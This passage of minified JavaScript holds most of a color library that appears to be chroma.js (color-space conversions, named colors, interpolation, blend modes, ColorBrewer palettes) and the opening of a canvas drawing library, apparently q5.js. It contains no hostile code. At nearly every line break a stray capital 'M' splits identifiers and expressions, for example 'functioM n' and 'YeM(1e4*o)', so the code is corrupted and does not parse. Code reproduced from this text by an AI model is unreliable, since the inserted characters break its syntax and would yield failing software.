ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
